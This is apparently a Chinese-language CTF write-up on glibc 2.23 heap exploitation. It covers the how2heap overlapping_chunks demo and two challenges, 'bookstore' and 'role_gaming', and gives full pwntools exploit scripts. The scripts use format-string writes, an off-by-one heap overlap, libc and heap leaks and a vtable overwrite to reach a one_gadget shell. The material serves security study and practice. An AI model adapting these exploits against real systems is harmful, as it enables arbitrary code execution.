0%

how2heap - overlapping_chunks&bookstore,night-deamonic-heap

how2heap - overlapping_chunks&bookstore,night-deamonic-heap

ubuntu16.04 libc2.23

overlapping_chunks.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/*
A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){


intptr_t *p1,*p2,*p3,*p4;

fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n");
fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n");

p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);

fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);

fprintf(stderr, "\nNow let's free the chunk p2\n");
free(p2);
fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n");
fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n");

int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size);

*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
fprintf(stderr, "This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size);

fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");

fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

fprintf(stderr, "Let's run through an example. Right now, we have:\n");
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '4', evil_region_size);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '3', 80);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
}

一个比较简单的oevrflow的示例

首先申请了3个chunk

0x100(p1)
0x100(p2)
0x80(p3)

当我们把0x100的chunk放入unsortedbin之后,模拟p1 overflow修改p2的size为0x180,再通过malloc(0x180-8)即可直接卸下unsortedbin中这个fake 0x180的chunk,达到overlap p3的目的

由于比较简单这里就没放debug的过程,直接开始撸题吧2333

bookstore

程序分析

程序比较简单

上来先malloc了三个0x90的small chunk

堆上的内容此时是这样的

order1 order2 malloc_dest
0x90 0x90 0x90

下面就是一个循环+switch的结构,循环由v4控制,v4为1后结束循环

1581675282813

结束循环之后存在格式化字符串漏洞,fmt为malloc_dest

edit

1581675013218

无长度检查,存在overflow,在输入的末尾\n处会改成\x00

free

1581675079810

free就是单纯的free,没有清零指针

submit

就是用order1和order2的内容来填充submit_chunk

Exploite

程序的chunk的是一开始就malloc好的,无法自己malloc,但是能自己free,当选择5之后可以malloc一个0x150大小的chunk,所以第一思路肯定是free chunk2后通过chunk1更改chunk2的size,然后申请submit_chunk时会返回chunk2的地址,由于submit_chunk比较大,会和malloc_dest形成overlapping,通过修改submit_chunk的内容,溢出到malloc_dest触发格式化字符串漏洞(这里选择时的s可以输入一个比较大的buffer,可以在buffer中填上指针来修改内容)。

因为overlap之后的拷贝操作是先把chunk1的内容拷贝到chunk2,然后再把chunk2的内容加到chunk2后面,所以要计算偏移,具体计算如上图注释,想要malloc_dest刚好放置我们的格式化串我们只需要满足chunk1中有0x74个Byte的内容即可

可是我找了一会之后发现,因为只能用一次格式化字符串,而且在之前也无法泄露,栈指针和libc都利用不了,只能用程序里面的,要么是GOT表,要么是其他可写的段,当然在这里我很自然的联想到了.fini段,这个段是程序结束之后要调用的函数指针,我可以修改它为main函数地址(不过只能利用一次),然后在修改.fini段的时候顺带把栈地址、libc地址一并泄露(只要到程序栈上找到就行)

1
2
3
4
5
6
7
delete(2)

payload1=(('%'+str(0xA39)+'c%13$hn|%19$p|%31$p').ljust(0x74,'a')).ljust(0x88,'\x00')+'\x50\x01'
#下面的0x6011B8会放在%13$n处,%19$p是一个栈地址,%31$p是libc_start_main的返回地址,A39是main函数地址地位
edit(1,payload1)#溢出修改size

submit(0x6011B8)#选择时顺带填上地址,然后此时malloc的chunk就会overlap了

然后计算对应地址

1
2
3
ret_stack=int(p.recv(14),16)-0x18#stack address of ret
libc_base=int(p.recv(15).strip('|'),16)-0x20830
one=0x45216+libc_base#one_gadget

之后第二次利用与第一次相同,但是有一点,one_gaget的地址可能与第二次执行的返回地址有3个Byte不一样,那怎么办。所以第二次我们可以修改两次(为什么不是三次是因为三个字节的大小顺序可能会不一样,在使用%hhn写入的时候前面的输出会对后面产生影响,但是如果一次改两个字节%hn和一次改一个字节%hn就可以控制顺序了)

1
2
3
change1=one&0xffff
change2=one&0xff0000
change2=change2>>16

printf时我们写入的地址在栈上的偏移需要自己计算一下,地址也需要计算一下,因为此时的栈已经变了,不过偏移是固定的

1
2
3
4
5
6
delete(2)

payload1=(('%0'+str(change2)+'d%14$hhn|%0'+str(change1-change2-1)+'d%13$hn|').ljust(0x74,'a')).ljust(0x88,'\x00')+'\x50\x01'
edit(1,payload1)

submit(ret_stack-0x110,ret_stack-0x110+2)#submit时填上两个地址

最终getshell

完整Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './books' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")

# todo here
def edit(x,content):
p.recvuntil('5: Submit\n')
p.sendline(str(x))
p.recvuntil(' order:\n')
p.sendline(content)

def delete(x):
p.recvuntil('5: Submit\n')
if x == 1:
p.sendline('3')
else:
p.sendline('4')
def submit(address,address2=0):
p.recvuntil('5: Submit\n')
p.sendline(p64(0x35)+p64(address)+p64(address2))

delete(2)

payload1=(('%'+str(0xA39)+'c%13$hn|%19$p|%31$p').ljust(0x74,'a')).ljust(0x88,'\x00')+'\x50\x01'
edit(1,payload1)

submit(0x6011B8)

p.recvuntil('|')
p.recvuntil('|')
p.recvuntil('|')
p.recvuntil('|')
p.recvuntil('|')
ret_stack=int(p.recv(14),16)-0x18
libc_base=int(p.recv(15).strip('|'),16)-0x20830
log.info("\033[1;36m" +'ret_stack:'+hex(ret_stack)+'\nlibc_base:'+hex(libc_base)+ "\033[0m")
one=0x45216+libc_base

change1=one&0xffff
change2=one&0xff0000
change2=change2>>16
log.info("\033[1;36m" +'one_gadget:'+hex(one)+"\033[0m")
log.info("\033[1;36m" +'change1:'+hex(change1)+'\nchange2:'+hex(change2)+ "\033[0m")

delete(2)

payload1=(('%0'+str(change2)+'d%14$hhn|%0'+str(change1-change2-1)+'d%13$hn|').ljust(0x74,'a')).ljust(0x88,'\x00')+'\x50\x01'
edit(1,payload1)

submit(ret_stack-0x110,ret_stack-0x110+2)

p.interactive()

role_gaming

程序分析

因为第一次在pwn里面写到c++的程序,本来c++也不太好逆,就…稍微写的有点久?(以后逆向速度要加油~)

main

初始化:申请了一个0xA0(0xB0)大小的chunk,用来保存后面的指针

下面主要就是从栈上读取一个command,用来操作游戏,大小是0xFFF,会在输入结尾处改成0

new

1581908110687

最多允许new 0x13个character,其中character有两种类型:barbarian,wizzard,在C++里面来说就是,barbarian和wizard类从character继承而来。
申请barbarian的command格式为:“new barbarian ”+personnage,wizzard的格式为“new wizzard ”+personnage

每次创建前都会调用get_personnage,这个函数会调用strncmp判断command中的personnage和所有character对应chunk中的personnage,其中判断时的n用的是存在chunk上的那个记录,如果有重复的personnage,会直接申请失败

对比完之后开始创建character,其对应的chunk如下:
character:new 0xF8(0x100)
personnage:calloc 0x??(由输入决定)

barbarian:

wizzard:

两者的初始化基本都差不多,除了Vtable和一些值可能存在不同

delete

通过搜索personnage判断是否存在character
如果存在

  • free personnage,并将character chunk上的指针置零
  • delete character_ptr,并在对应记录上赋值为前一个character,character数量减一

help

1581910298728

打印帮助信息

change

格式为”change “+oldpersonnage+” “+newpersonnage

如果旧personnage长度大于新的,就直接strncpy到对应chunk去,如果小于则需要realloc

调用到对应类的虚函数来输出其内容

漏洞分析

(以后碰到复杂的题一定要先写漏洞分析)

chunks&内存操作

chunk:

  1. 初始用来存储的chunk,0xA0(0xB0)大小,new出来的chunk(new是调用malloc来实现的)
  2. character chunk,0xf8(0x100)大小,calloc出来的chunk
  3. personnage chunk,大小由我们控制,不过不能为0因为程序会自动加上一个’B’或者’W’,calloc出来的chunk,内存上申请时挨着character chunk

内存操作:

除了上面申请内存的地方还有释放内存时是先free(personnage),然后delete character chunk。在change里面还有一个realloc personnage

漏洞点:

初始化时,处理输入的personnage会先调用strlen计算len,然后calloc(len,1),接着存len+1在对应记录上
接着用strncpy(chunkptr + 1,ptr, len)从chunk的第2个字节处开始放置字符串

此处存在1Byte overflow

在change处,由于记录的len是加过1的,当我们输入的新personnage长度和记录长度相等时,也可以修改到后面一个字节

前面分析的时候顺带画了一个图方便自己看:

1581995268256

Exploit

exploit就也是堆上比较常见的构造了,这里我使用的方法是先用free modified chunk来leak内容,然后用malloc modified chunk来覆盖Vtable,具体为什么见下文

最开始的时候我申请了3个barbarian(a,b,c),此时如果使用a的overflow可以修改到b记录chunk的size低一字节,因为申请a的时候产生的overflow在topchunk上,所以不用管,主要是利用change时的overflow

0x100 0x20 0x100 0x?? 0x100 0x??
chunk for overflow
a a b b c c

然后我看到后面的chunk刚好大小可以设置在一个字节,所以就想能不能利用一个0x70的来fastbin attack,通过free overlap修改其fd,然而我当时没有考虑到的是,我们的chunk大小申请是通过输入的personnage长度来决定的,如果想使用修改fd来fastbin attack,当我改到fd时,这个chunk的size也被破坏了,因为0字节在初始化时就被截断了,根本无法实现,但是如果通过这个方法来extend a,从而达到泄露指针内容的话还是可以的。

我就先随便申请了5个barbarian(因为之前一直在构造的时候都畏手畏脚的,这次干脆先稍微弄多一点,冗余也没事,能在限制下写出来就行XD

0x100 0x20 0x100 0x60 0x100 0x60 0x100 0x60 0x100 0x60
a a b b c c d d e e

然后就是想办法在b所处的0x160这个范围内放上libc地址和heap地址,可以通过先free d,再free b来在fastbin上放上fd,不过这个leak值得注意的是,只能leak fd和同fd一样在堆上地址结尾是8的这一行数据,因为如果填充foot,后面紧跟的就是size,只能通过刚好盖满一个chunk的size,realloc时让chunk shrink 0x10个字节,刚好把fd放在前一个chunk的foot处,此时就可以leak了

当然free d之后,由于d的记录chunk在unsortedbin上,再free b的话就会让b的记录chunk fd指向d的记录chunk,而不是main_arena了,所以free d之后我又申请了一个f,如下:

0x100 0x20 0x100 0x60 0x100 0x60 0x100 0x60 0x100 0x60 0x20
fb1
a a b b c c f e e f

再free b之后在b两个chunk的fd上就既有libc地址又有heap地址了,接下来的操作就只是修改和输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
new('a'*0x18)
new('b'*0x50)
new('c'*0x50)
new('d'*0x50)
new('e'*0x50)

delete('B'+'d'*0x50)
new('f'*0x18)


change('B'+'a'*0x17+'\x01','a'*0x18+'\x61')
delete('B'+'b'*0x50)

###extend a to get libc_base
change('a'*0x18+'\x61','A'*0x20)

p.recvuntil('successfully\n')
p.sendline('print all')
p.recvuntil('A'*0x20)
libc_base=my_u64(p.recv(6))-0x3c4b78
log.info("\033[1;36m" + 'libc_base:'+hex(libc_base) + "\033[0m")


####extend a to get heap_base
change('A'*0x20,'*'*(0x40+0xe0)+'\xff')#low 1 byte don't care for piebase

p.recvuntil('successfully\n')
p.sendline('print all')
p.recvuntil('\xff')
heap_base=(my_u64(p.recv(5))<<8)-0x12500
log.info("\033[1;36m" + 'heap_base:'+hex(heap_base) + "\033[0m")

leak之后,因为fastbin attack实现不了,所以我的卡了很久,最后随便翻了一下别人的思路,知道了在堆上修改vtable这种操作,但是想要覆盖到下一个chunk去修改vtable,用前面free modified chunk的方法,我在记录chunk根本找不到合适的作为fakesize的字段,只有一个字节的overflow当然也不允许我们修改过多,于是决定试试malloc modified chunk

前面用来leak的构造我就没管了,直接在后面新开一块出来用于覆盖vtable,接着我就申请了g、h、以及一个伪造vtable的i,i的personnage块上我填了一个one_gadget的值,毕竟输入6个字节的地址还是可以的

0x100 0x60 0x20 0x100 0x30 0x100 0x30 0x100 0x20
one_gadget
e e f g g h h i i

先free掉g,然后利用f修改g的size为0x150,再change h为0x140+p64(fake vtable)即可malloc到g+h前面0x18字节的chunk,刚好可以修改h的vtable,这里其实我发现前面的构造也不一定要申请f,直接change一个说不定就可以了

修改之后print all即可调用

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './role_gaming' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")

# todo here
def new(name):
p.recvuntil('>')
p.sendline('new barbarian '+name)

def delete(name):
p.recvuntil('>')
p.sendline('delete '+name)

def change(nameo,namen):
p.recvuntil('>')
p.sendline('change '+nameo+' '+namen)

new('a'*0x18)
new('b'*0x50)
new('c'*0x50)
new('d'*0x50)
new('e'*0x50)

delete('B'+'d'*0x50)
new('f'*0x18)


change('B'+'a'*0x17+'\x01','a'*0x18+'\x61')
delete('B'+'b'*0x50)

###extend a to get libc_base
change('a'*0x18+'\x61','A'*0x20)

p.recvuntil('successfully\n')
p.sendline('print all')
p.recvuntil('A'*0x20)
libc_base=my_u64(p.recv(6))-0x3c4b78
log.info("\033[1;36m" + 'libc_base:'+hex(libc_base) + "\033[0m")


####extend a to get heap_base
change('A'*0x20,'*'*(0x40+0xe0)+'\xff')

p.recvuntil('successfully\n')
p.sendline('print all')
p.recvuntil('\xff')
heap_base=(my_u64(p.recv(5))<<8)-0x12500
log.info("\033[1;36m" + 'heap_base:'+hex(heap_base) + "\033[0m")
####extend a to get heap_base
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
'''
new('g'*0x30)
new('h'*0x30)
new('xxxxxxx'+p64(libc_base+0xf02a4))
delete('B'+'g'*0x50)

change('B'+'f'*0x17+'\x01','F'*0x18+'\x51')
change('B'+'h'*0x30,'+'*0x140+p64(heap_base+0x12b28))
p.sendline('print all')

p.interactive()